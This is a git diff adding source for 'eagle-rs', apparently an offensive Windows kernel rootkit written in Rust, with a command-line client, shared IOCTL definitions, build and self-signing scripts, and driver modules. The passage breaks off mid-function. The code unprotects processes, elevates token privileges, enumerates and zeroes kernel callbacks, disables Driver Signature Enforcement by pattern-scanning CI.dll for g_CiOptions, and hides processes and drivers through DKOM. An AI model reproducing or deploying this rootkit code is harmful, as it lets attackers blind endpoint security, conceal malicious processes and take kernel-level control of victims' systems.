DeviceIoControl(driver_handle, + IOCTL_PROCESS_UNPROTECT_REQUEST, + &mut target_process as *mut _ as *mut c_void, + size_of:: as u32, + null_mut(), + 0, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("[+] Process unprotected successfully {:?}", target_process.process_id); +} + +/// Enable / elevate all token privileges of a process +pub fn enable_tokens(process_id: u32, driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + + let mut target_process = TargetProcess { + process_id: process_id, + }; + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, + &mut target_process as *mut _ as *mut c_void, + size_of:: as u32, + null_mut(), + 0, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("[+] Tokens privileges elevated successfully {:?}", target_process.process_id); +} + +/// Enumerate Kernel Callbacks +pub fn enumerate_callbacks(driver_handle: *mut c_void) { + + let mut bytes: u32 = 0; + let mut callbacks: [CallBackInformation; 64] = unsafe{ std::mem::zeroed() }; + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_CALLBACKS_ENUM_REQUEST, + null_mut(), + 0, + callbacks.as_mut_ptr() as *mut _, + (callbacks.len() * size_of::()) as u32, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + let number_of_callbacks = (bytes / size_of::() as u32) as usize; + println!("Total Kernel Callbacks: {:?}", number_of_callbacks); + + for i in 0..number_of_callbacks { + if callbacks[i].pointer > 0 { + let name = std::str::from_utf8(&callbacks[i].module_name).unwrap().trim_end_matches('\0'); + println!("[{:?}] {:#x} ({:?})", i, callbacks[i].pointer, name); + } + } +} + +/// Patch kernel callbacks +pub fn patch_callback(index: u32, driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + + let mut target = TargetCallback { + index: index, + }; + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_CALLBACKS_ZERO_REQUEST, + &mut target as *mut _ as *mut c_void, + size_of:: as u32, + null_mut(), + 0, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("[+] Callback patched successfully at index {:?}", target.index); +} + +/// Enable Driver Signature Enforcement (DSE) +pub fn enable_or_disable_dse(driver_handle: *mut c_void, dse_state: bool) { + let mut bytes: u32 = 0; + + let mut dse = DriverSignatureEnforcement { + address: 0, + is_enabled: true, + }; + + if dse_state { + dse.is_enabled = true; + } else { + dse.is_enabled = false; + } + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_DSE_ENABLE_DISABLE_REQUEST, + &mut dse as *mut _ as *mut c_void, + size_of:: as u32, + &mut dse as *mut _ as *mut c_void, + size_of::() as u32, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("Bytes returned: {:?}", bytes); + + if dse.is_enabled { + println!("[+] Driver Signature Enforcement (DSE) enabled: {:#x}", dse.address); + } else { + println!("[+] Driver Signature Enforcement (DSE) disabled: {:#x}", dse.address); + } +} + + +/// Hide a process using Direct Kernel Object Manipulation (DKOM) +pub fn hide_process(process_id: u32, driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + + let mut target_process = TargetProcess { + process_id: process_id, + }; + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_PROCESS_HIDE_REQUEST, + &mut target_process as *mut _ as *mut c_void, + size_of:: as u32, + null_mut(), + 0, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("[+] Process is hidden successfully: {:?}", target_process.process_id); +} + +/// Hide a driver using Direct Kernel Object Manipulation (DKOM) +pub fn hide_driver(driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_DRIVER_HIDE_REQUEST, + null_mut(), + 0, + null_mut(), + 0, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + println!("[+] Driver hidden successfully"); +} + +/// Get a list of all loaded modules using PsLoadedModuleList +pub fn get_loaded_modules_list(driver_handle: *mut c_void) { + let mut bytes: u32 = 0; + //let mut module_information = [(); 256].map(|_| ModuleInformation::default()); + let mut module_information: [ModuleInformation; 256] = unsafe { std::mem::zeroed() }; + + + let device_io_control_result = unsafe { + DeviceIoControl(driver_handle, + IOCTL_DRIVER_ENUM_REQUEST, + null_mut(), + 0, + module_information.as_mut_ptr() as *mut _, + (module_information.len() * size_of::()) as u32, + &mut bytes, + null_mut()) + }; + + if device_io_control_result == 0 { + panic!("[-] Failed to call DeviceIoControl"); + } + + let numer_of_modules = (bytes / size_of::() as u32) as usize; + println!("Total Number of Modules: {:?}", numer_of_modules); + + for i in 0..numer_of_modules { + if module_information[i].module_base > 0 { + let name = String::from_utf16_lossy(&module_information[i].module_name).trim_end_matches('\0').to_owned(); + println!("[{:?}] {:#x} {:?}", i, module_information[i].module_base, name); + } + } + + println!("[+] Loaded modules enumerated successfully"); +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/client/src/main.rs b/memN0ps/eagle-rs/client/src/main.rs new file mode 100644 index 0000000..b7b5761 --- /dev/null +++ b/memN0ps/eagle-rs/client/src/main.rs @@ -0,0 +1,178 @@ +use sysinfo::{Pid, SystemExt, ProcessExt}; +use winapi::um::{fileapi::{CreateFileA, OPEN_EXISTING}, winnt::{GENERIC_READ, GENERIC_WRITE, FILE_SHARE_READ, FILE_SHARE_WRITE}, handleapi::CloseHandle}; +use std::{ffi::CString, ptr::null_mut}; +mod kernel_interface; +use clap::{Args, Parser, Subcommand, ArgGroup}; + +#[derive(Parser)] +#[clap(author, version, about, long_about = None)] +struct Cli { + #[clap(subcommand)] + command: Commands, +} + +#[derive(Subcommand)] +enum Commands { + Process(Process), + Callbacks(Callbacks), + DSE(DSE), + Driver(Driver), +} + +#[derive(Args)] +#[clap(group( + ArgGroup::new("process") + .required(true) + .args(&["protect", "unprotect", "elevate", "hide"]), +))] +struct Process { + /// Target process name + #[clap(long, short, value_name = "PROCESS")] + name: String, + + /// Protect a process + #[clap(long, short)] + protect: bool, + + /// Unprotect a process + #[clap(long, short)] + unprotect: bool, + + /// Elevate all token privileges + #[clap(long, short)] + elevate: bool, + + /// Hide a process using Direct Kernel Object Manipulation (DKOM) + #[clap(long)] + hide: bool, +} + +#[derive(Args)] +#[clap(group( + ArgGroup::new("callbacks") + .required(true) + .args(&["enumerate", "patch"]), +))] +struct Callbacks { + /// Enumerate kernel callbacks + #[clap(long, short)] + enumerate: bool, + + /// Patch kernel callbacks 0-63 + #[clap(long, short)] + patch: Option, +} + +#[derive(Args)] +#[clap(group( + ArgGroup::new("dse") + .required(true) + .args(&["enable", "disable"]), +))] +struct DSE { + /// Enable Driver Signature Enforcement (DSE) + #[clap(long, short)] + enable: bool, + + /// Disable Driver Signature Enforcement (DSE) + #[clap(long, short)] + disable: bool, +} + +#[derive(Args)] +#[clap(group( + ArgGroup::new("driver") + .required(true) + .args(&["hide", "enumerate"]), +))] +struct Driver { + /// Hide a driver using Direct Kernel Object Manipulation (DKOM) + #[clap(long)] + hide: bool, + + /// Enumerate loaded kernel modules + #[clap(long, short)] + enumerate: bool, +} + +fn main() { + + let cli = Cli::parse(); + + let file = CString::new("\\\\.\\Eagle").unwrap().into_raw() as *const i8; + let driver_handle = unsafe { + CreateFileA( + file, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + null_mut(), + OPEN_EXISTING, + 0, + null_mut()) + }; + + if driver_handle.is_null() { + panic!("[-] Failed to get a handle to the driver"); + } + + match &cli.command { + Commands::Process(p) => { + let process_id = get_process_id_by_name(p.name.as_str()) as u32; + + if p.protect { + kernel_interface::protect_process(process_id, driver_handle); + } else if p.unprotect { + kernel_interface::unprotect_process(process_id, driver_handle); + } else if p.elevate { + kernel_interface::enable_tokens(process_id, driver_handle); + } else if p.hide { + kernel_interface::hide_process(process_id, driver_handle); + } else { + println!("[-] Invalid arguments"); + } + } + Commands::Callbacks(c) => { + if c.enumerate { + kernel_interface::enumerate_callbacks(driver_handle); + } else if c.patch.unwrap() > 0 && c.patch.unwrap() < 64 { + kernel_interface::patch_callback(c.patch.unwrap(), driver_handle); + } else { + println!("[-] Invalid arguments"); + } + } + Commands::DSE(d) => { + if d.enable { + kernel_interface::enable_or_disable_dse(driver_handle, true); + } else if d.disable { + kernel_interface::enable_or_disable_dse(driver_handle, false); + } else { + println!("[-] Invalid arguments"); + } + } + Commands::Driver(d) => { + if d.hide { + kernel_interface::hide_driver(driver_handle); + } else if d.enumerate { + kernel_interface::get_loaded_modules_list(driver_handle); + } else { + println!("[-] Invalid arguments"); + } + } + } + + unsafe { CloseHandle(driver_handle) }; +} + +/// Get process ID by name +fn get_process_id_by_name(target_process: &str) -> Pid { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + + return process_id; +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/cmd_hide1.png b/memN0ps/eagle-rs/cmd_hide1.png new file mode 100644 index 0000000..09d4d9c Binary files /dev/null and b/memN0ps/eagle-rs/cmd_hide1.png differ diff --git a/memN0ps/eagle-rs/cmd_hide2.png b/memN0ps/eagle-rs/cmd_hide2.png new file mode 100644 index 0000000..ff5b3df Binary files /dev/null and b/memN0ps/eagle-rs/cmd_hide2.png differ diff --git a/memN0ps/eagle-rs/common/Cargo.toml b/memN0ps/eagle-rs/common/Cargo.toml new file mode 100644 index 0000000..b01dd4f --- /dev/null +++ b/memN0ps/eagle-rs/common/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "common" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi", "fileapi", "winioctl"] } \ No newline at end of file diff --git a/memN0ps/eagle-rs/common/src/lib.rs b/memN0ps/eagle-rs/common/src/lib.rs new file mode 100644 index 0000000..dff1029 --- /dev/null +++ b/memN0ps/eagle-rs/common/src/lib.rs @@ -0,0 +1,64 @@ +#![no_std] + +extern crate alloc; +use winapi::{um::winioctl::{FILE_DEVICE_UNKNOWN, METHOD_NEITHER, FILE_ANY_ACCESS}}; + +macro_rules! CTL_CODE { + ($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => { + ($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method + } +} + +pub const IOCTL_PROCESS_READ_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_PROCESS_WRITE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_PROCESS_PROTECT_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_PROCESS_UNPROTECT_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_PROCESS_HIDE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS); + +pub const IOCTL_CALLBACKS_ENUM_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_CALLBACKS_ZERO_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS); + +pub const IOCTL_DSE_ENABLE_DISABLE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS); + +pub const IOCTL_DRIVER_HIDE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS); +pub const IOCTL_DRIVER_ENUM_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS); + + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct TargetProcess { + pub process_id: u32, +} + +#[repr(C)] +#[derive(Debug, Clone, Copy)] +pub struct CallBackInformation { + pub module_name: [u8; 256], + pub pointer: u64, +} + +/* +impl Default for CallBackInformation { + fn default() -> Self { + Self { + module_name: [0u8; 256], + pointer: 0, + } + } +}*/ + +pub struct TargetCallback { + pub index: u32 +} + +pub struct DriverSignatureEnforcement { + pub address: u64, + pub is_enabled: bool, +} + +#[derive(Debug, Clone)] +pub struct ModuleInformation { + pub module_base: usize, + pub module_name: [u16; 256], +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/.cargo/config.toml b/memN0ps/eagle-rs/driver/.cargo/config.toml new file mode 100644 index 0000000..89536ee --- /dev/null +++ b/memN0ps/eagle-rs/driver/.cargo/config.toml @@ -0,0 +1,23 @@ +[build] +target = "x86_64-pc-windows-msvc" + +rustflags = [ + "-C", "panic=abort", + + # Pre Link Args + "-Z", "pre-link-arg=/NOLOGO", + "-Z", "pre-link-arg=/NXCOMPAT", + "-Z", "pre-link-arg=/NODEFAULTLIB", + "-Z", "pre-link-arg=/SUBSYSTEM:NATIVE", + "-Z", "pre-link-arg=/DRIVER", + "-Z", "pre-link-arg=/DYNAMICBASE", + "-Z", "pre-link-arg=/MANIFEST:NO", + "-Z", "pre-link-arg=/PDBALTPATH:none", + + # Post Link Args + "-C", "link-arg=/OPT:REF,ICF", + "-C", "link-arg=/ENTRY:driver_entry", + "-C", "link-arg=/MERGE:.edata=.rdata", + "-C", "link-arg=/MERGE:.rustc=.data", + "-C", "link-arg=/INTEGRITYCHECK" +] \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/Cargo.toml b/memN0ps/eagle-rs/driver/Cargo.toml new file mode 100644 index 0000000..8b989cc --- /dev/null +++ b/memN0ps/eagle-rs/driver/Cargo.toml @@ -0,0 +1,40 @@ +[package] +name = "driver" +version = "0.1.0" +edition = "2021" +build = "build.rs" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[lib] +path = "src/lib.rs" +crate-type = ["cdylib"] + +[profile.dev] +panic = "abort" + +[profile.release] +panic = "abort" + +[dependencies] +ntapi = { version = "0.3.7", default-features = false} +log = "0.4.16" +bstr = { version = "0.2.17", default-features = false} +kernel-log = "0.1.1" +kernel-print = "0.1.0" +kernel-alloc = "0.1.0" +obfstr = "0.3.0" +modular-bitfield = "0.11.2" +common = { path = "../common" } + +[dependencies.winapi] +git = "https://github.com/Trantect/winapi-rs.git" +branch = "feature/km" +features = [ + "wdm", + "ntstatus", +] + +[build-dependencies] +winreg = "0.10.1" +failure = "0.1.8" \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/Makefile.toml b/memN0ps/eagle-rs/driver/Makefile.toml new file mode 100644 index 0000000..6c7a03b --- /dev/null +++ b/memN0ps/eagle-rs/driver/Makefile.toml @@ -0,0 +1,32 @@ +[env.development] +TARGET_PATH = "../target/x86_64-pc-windows-msvc/debug" + +[env.production] +TARGET_PATH = "../target/x86_64-pc-windows-msvc/release" +BUILD_FLAGS = "--release" + +[tasks.build-driver] +script = [ + "cargo b %BUILD_FLAGS%" +] + +[tasks.rename] +dependencies = ["build-driver"] +ignore_errors = true +script = [ + "cd %TARGET_PATH%", + "rename driver.dll Eagle.sys", +] + +[tasks.sign] +dependencies = ["build-driver", "rename"] +script = [ + # Load the Visual Studio Developer environment + "call \"%ProgramFiles(x86)%\\Microsoft Visual Studio\\2019\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"", + + # Create a self signed certificate (only if not already done) + "if not exist DriverCertificate.cer ( makecert -r -pe -ss PrivateCertStore -n CN=DriverCertificate DriverCertificate.cer ) else ( echo Certificate already exists. )", + + # Sign the driver + "signtool sign /a /v /s PrivateCertStore /n DriverCertificate /fd certHash /t http://timestamp.digicert.com %TARGET_PATH%/Eagle.sys" +] \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/build.rs b/memN0ps/eagle-rs/driver/build.rs new file mode 100644 index 0000000..00ae0c4 --- /dev/null +++ b/memN0ps/eagle-rs/driver/build.rs @@ -0,0 +1,65 @@ +use failure::{format_err, Error}; +use std::{ + env::var, + path::{Path, PathBuf}, +}; +use winreg::{enums::*, RegKey}; + +/// Returns the path to the `Windows Kits` directory. It's by default at +/// `C:\Program Files (x86)\Windows Kits\10`. +fn get_windows_kits_dir() -> Result { + let hklm = RegKey::predef(HKEY_LOCAL_MACHINE); + let key = r"SOFTWARE\Microsoft\Windows Kits\Installed Roots"; + let dir: String = hklm.open_subkey(key)?.get_value("KitsRoot10")?; + + Ok(dir.into()) +} + +/// Returns the path to the kernel mode libraries. The path may look like this: +/// `C:\Program Files (x86)\Windows Kits\10\lib\10.0.18362.0\km`. +fn get_km_dir(windows_kits_dir: &PathBuf) -> Result { + let readdir = Path::new(windows_kits_dir).join("lib").read_dir()?; + + let max_libdir = readdir + .filter_map(|dir| dir.ok()) + .map(|dir| dir.path()) + .filter(|dir| { + dir.components() + .last() + .and_then(|c| c.as_os_str().to_str()) + .map(|c| c.starts_with("10.") && dir.join("km").is_dir()) + .unwrap_or(false) + }) + .max() + .ok_or_else(|| format_err!("Can not find a valid km dir in `{:?}`", windows_kits_dir))?; + + Ok(max_libdir.join("km")) +} + +fn internal_link_search() { + let windows_kits_dir = get_windows_kits_dir().unwrap(); + let km_dir = get_km_dir(&windows_kits_dir).unwrap(); + let target = var("TARGET").unwrap(); + + let arch = if target.contains("x86_64") { + "x64" + } else if target.contains("i686") { + "x86" + } else { + panic!("Only support x86_64 and i686!"); + }; + + let lib_dir = km_dir.join(arch); + println!("cargo:rustc-link-search=native={}", lib_dir.to_str().unwrap()); + println!("cargo:rustc-link-lib=msvcrt"); +} + +fn extra_link_search() {} + +fn main() { + if var(format!("CARGO_FEATURE_{}", "extra_link_search".to_uppercase())).is_ok() { + extra_link_search() + } else { + internal_link_search() + } +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/callbacks/mod.rs b/memN0ps/eagle-rs/driver/src/callbacks/mod.rs new file mode 100644 index 0000000..d25bcab --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/callbacks/mod.rs @@ -0,0 +1,119 @@ +use core::{ptr::{slice_from_raw_parts, null_mut}, mem::size_of, intrinsics::copy_nonoverlapping}; +use alloc::{string::String}; +use common::CallBackInformation; +use kernel_alloc::nt::{ExAllocatePool}; +use winapi::{shared::{ntdef::{HANDLE, BOOLEAN, NTSTATUS, NT_SUCCESS}, ntstatus::{STATUS_SUCCESS}}, km::wdm::{PEPROCESS}, um::winnt::RtlZeroMemory, ctypes::c_void}; +use crate::includes::{PSCreateNotifyInfo, AuxKlibInitialize, AuxKlibQueryModuleInformation, AuxModuleExtendedInfo, strlen}; + +#[allow(non_snake_case)] +pub type PcreateProcessNotifyRoutineEx = extern "system" fn(process: PEPROCESS, process_id: HANDLE, create_info: *mut PSCreateNotifyInfo); +//type PcreateProcessNotifyRoutine = extern "system" fn(ParentId: HANDLE, ProcessId: HANDLE, Create: BOOLEAN); +//type PcreateThreadNotifyRoutine = extern "system" fn(ProcessId: HANDLE, ThreadId: HANDLE, Create: BOOLEAN); +//type PloadImageNotifyRoutine = extern "system" fn(FullImageName: PUNICODE_STRING, ProcessId: HANDLE , ImageInfo: *mut IMAGE_INFO); + +extern "system" { + #[allow(non_snake_case)] + pub fn PsSetCreateProcessNotifyRoutineEx(notify_routine: PcreateProcessNotifyRoutineEx, remove: BOOLEAN) -> NTSTATUS; + //pub fn PsSetCreateProcessNotifyRoutine(notify_routine: PcreateProcessNotifyRoutine, remove: BOOLEAN) -> NTSTATUS; + //pub fn PsSetCreateThreadNotifyRoutine(notify_routine: PcreateThreadNotifyRoutine) -> NTSTATUS; + //pub fn PsSetLoadImageNotifyRoutine(notify_routine: PloadImageNotifyRoutine) -> NTSTATUS; +} + +#[allow(non_snake_case)] +pub extern "system" fn process_create_callback(_process: PEPROCESS, process_id: HANDLE, create_info: *mut PSCreateNotifyInfo) { + if !create_info.is_null() { + let file_open = unsafe { (*create_info).param0.param0.file_open_available }; + + if file_open != 0 { + let p_str = unsafe { *(*create_info).image_file_name }; + let slice = unsafe { &*slice_from_raw_parts(p_str.Buffer, p_str.Length as usize / 2) } ; + let process_name = String::from_utf16(slice).unwrap(); + let process_id = process_id as u32; + log::info!("Process Created: {:?} ({:?})", process_name, process_id); + } + } +} + +/* +PsSetCreateProcessNotifyRoutineEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex +PsSetCreateProcessNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine +PsSetCreateThreadNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine +PsSetLoadImageNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine + +PcreateProcessNotifyRoutineEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine_ex +PcreateProcessNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine +PcreateThreadNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_thread_notify_routine +PloadImageNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pload_image_notify_routine +*/ + + +/* +AuxKlibInitialize: https://docs.microsoft.com/en-us/windows/win32/devnotes/auxklibinitialize-func +AuxKlibQueryModuleInformation: https://docs.microsoft.com/en-us/windows/win32/devnotes/auxklibquerymoduleinformation-func +*/ + +/// Return a pointer and number of loaded modules +pub fn get_loaded_modules() -> Option<(*mut AuxModuleExtendedInfo, u32)> { + let status = unsafe { AuxKlibInitialize() }; + + if !NT_SUCCESS(status) { + log::error!("Failed to call AuxKlibInitialize ({:#x})", status); + return None; + } + + let mut buffer_size: u32 = 0; + + let status = unsafe { AuxKlibQueryModuleInformation(&mut buffer_size, size_of::() as u32, null_mut()) }; + + if !NT_SUCCESS(status) { + log::error!("1st AuxKlibQueryModuleInformation failed ({:#x})", status); + return None; + } + + let mod_ptr = unsafe { ExAllocatePool(kernel_alloc::nt::PoolType::NonPagedPool, buffer_size as usize) as *mut c_void }; + + if mod_ptr.is_null() { + return None; + } + + unsafe { RtlZeroMemory(mod_ptr, buffer_size as usize) }; + + let status = unsafe { AuxKlibQueryModuleInformation(&mut buffer_size, size_of::() as u32, mod_ptr) }; + + if !NT_SUCCESS(status) { + log::error!("2nd AuxKlibQueryModuleInformation failed ({:#x})", status); + return None; + } + + let number_of_modules = buffer_size / size_of::() as u32; + let module = mod_ptr as *mut AuxModuleExtendedInfo; + + log::info!("Address of Modules: {:?}, Number of Modules: {:?}", module, number_of_modules); + + return Some((module, number_of_modules)); +} + +/// Search the loaded modules (kernel callbacks) +pub fn search_loaded_modules(modules: *mut AuxModuleExtendedInfo, number_of_modules: u32, module_info: *mut CallBackInformation) -> NTSTATUS { + + for i in 0..number_of_modules { + let start_address = unsafe { (*modules.offset(i as isize)).basic_info.image_base }; + let image_size = unsafe { (*modules.offset(i as isize)).image_size }; + + let end_address = start_address as u64 + image_size as u64; + let raw_pointer = unsafe { *(((*module_info).pointer & 0xfffffffffffffff8) as *mut u64) }; + + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let dst = unsafe { (*module_info).module_name.as_mut() }; + + let src = unsafe { + (*modules.offset(i as isize)).full_path_name.as_mut_ptr().offset((*modules.offset(i as isize)).file_name_offset as isize) + }; + + unsafe { copy_nonoverlapping(src, dst.as_mut_ptr(), strlen(src as *const i8)) }; + break; + } + } + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/memN0ps/eagle-rs/driver/src/dse/mod.rs b/memN0ps/eagle-rs/driver/src/dse/mod.rs new file mode 100644 index 0000000..78ecb1c --- /dev/null +++ b/memN0ps/eagle-rs/driver/src/dse/mod.rs @@ -0,0 +1,266 @@ +use core::{ptr::{null_mut}, ffi::CStr}; +use alloc::{string::{String, ToString}, collections::BTreeMap}; +use bstr::ByteSlice; +use kernel_alloc::nt::{ExAllocatePool, ExFreePool}; +use winapi::{shared::{ntdef::{NT_SUCCESS}}, ctypes::c_void, um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE, IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_EXPORT_DIRECTORY}}; + +use crate::{includes::SystemInformationClass, includes::SystemModuleInformation, includes::ZwQuerySystemInformation}; + +pub fn get_module_base(module_name: &[u8]) -> *mut c_void { + + let mut bytes = 0; + + // Get buffer size + let _status = unsafe { ZwQuerySystemInformation( + SystemInformationClass::SystemModuleInformation, + null_mut(), + 0, + &mut bytes + ) + }; + + /* Error check will fail and that is intentional to get the buffer size + if !NT_SUCCESS(status) { + log::error!("[-] 1st ZwQuerySystemInformation failed {:?}", status); + return null_mut(); + } */ + + let module_info = unsafe { + ExAllocatePool(kernel_alloc::nt::PoolType::NonPagedPool, bytes as usize) as *mut SystemModuleInformation + }; + + if module_info.is_null() { + log::error!("[-] ExAllocatePool failed"); + return null_mut(); + } + + unsafe { RtlZeroMemory( module_info as *mut c_void, bytes as usize) }; + + let status = unsafe { ZwQuerySystemInformation( + SystemInformationClass::SystemModuleInformation, + module_info as *mut c_void, + bytes, + &mut bytes) + }; + + if !NT_SUCCESS(status) { + log::info!("[-] 2nd ZwQuerySystemInformation failed {:#x}", status); + return null_mut(); + } + + + let mut p_module: *mut c_void = null_mut(); + log::info!("Module count: {:?}", unsafe { (*module_info).modules_count as usize }); + + for i in unsafe { 0..(*module_info).modules_count as usize } { + + let image_name = unsafe { (*module_info).modules[i].image_name }; + let image_base = unsafe { (*module_info).modules[i].image_base }; + + //log::info!("[+] Module name: {:?} and module base: {:?}", image_name.as_bstr(), image_base); + + if let Some(_) = image_name.find(module_name) { + //log::info!("[+] Module name: {:?} and module base: {:?}", image_name, image_base); + p_module = image_base; + break; + } + } + + unsafe { ExFreePool(module_info as u64) }; + + return p_module; +} + + +pub fn get_gci_options_address() -> Option<*mut c_void> { + + #[allow(unused_assignments)] + let mut g_ci_options = null_mut(); + + + let module_base = get_module_base(b"CI.dll"); + let ci_initialize_ptr = get_function_address(module_base, "CiInitialize") as *mut c_void; + + let func_slice: &[u8] = unsafe { + core::slice::from_raw_parts(ci_initialize_ptr as *const u8, 0x89) //mov rbx,qword ptr [rsp+30h] : (after call CI!CipInitialize) + }; + + //before: call CI!CipInitialize + let needle = [ + 0x8b, 0xcd, // mov ecx,ebp + ]; + + if let Some(y) = func_slice.windows(needle.len()).position(|x| *x == needle) { + let position = y + 3; + let offset_slice = &func_slice[position..position + 4]; //u32::from_le_bytes takes 4 slices + let offset = u32::from_le_bytes(offset_slice.try_into().unwrap()); + + //log::info!("Offset: {:#x}", offset); + let new_base = unsafe { ci_initialize_ptr.cast::().offset((position + 4) as isize) }; + //log::info!("new_base: {:?}", new_base); + let c_ip_initialize = unsafe { new_base.cast::().offset(offset as isize) }; + log::info!("c_ip_initialize: {:?}", c_ip_initialize); + + + // Inside CI!CipInitialize + + let needle = [ + 0x49, 0x8b, 0xe9, // mov rbp,r9 + ]; + + let c_ip_initialize_slice: &[u8] = unsafe { + core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21) //mov rbx,r8 : (after mov dword ptr [CI!g_CiOptions]) + }; + + if let Some(i) = c_ip_initialize_slice.windows(needle.len()).position(|x| *x == needle) { + let position = i + 5; + + let offset_slice = &c_ip_initialize_slice[position..position + 4]; //u32::from_le_bytes takes 4 slices + let offset = u32::from_le_bytes(offset_slice.try_into().unwrap()); + let new_offset = 0xffffffff00000000 + offset as u64; + log::info!("Offset: {:#x}", offset); + + + let new_base = unsafe { c_ip_initialize.cast::().offset((position + 4) as isize) }; + g_ci_options = unsafe { new_base.cast::().offset(new_offset as isize) }; + + log::info!("g_CiOptions: {:?}", g_ci_options); + + return Some(g_ci_options as *mut c_void); + } + } + return None; +} + +pub fn get_function_address(module: *mut c_void, function_name: &str) -> usize { + let mut function_ptr = 0; + + //Get the names and addresses of functions the dll + for (name, addr) in unsafe { get_module_exports(module).unwrap() } { + if name == function_name { + //log::info!("[+] Function: {:?} Address {:#x}", name, addr); + function_ptr = addr; + break; + } + } + + return function_ptr; +} + +/// Retrieves all function and addresses from the specfied modules +unsafe fn get_module_exports(module_base: *mut c_void) -> Option> { + let mut exports = BTreeMap::new(); + let dos_header = *(module_base as *mut IMAGE_DOS_HEADER); + + if dos_header.e_magic != IMAGE_DOS_SIGNATURE { + 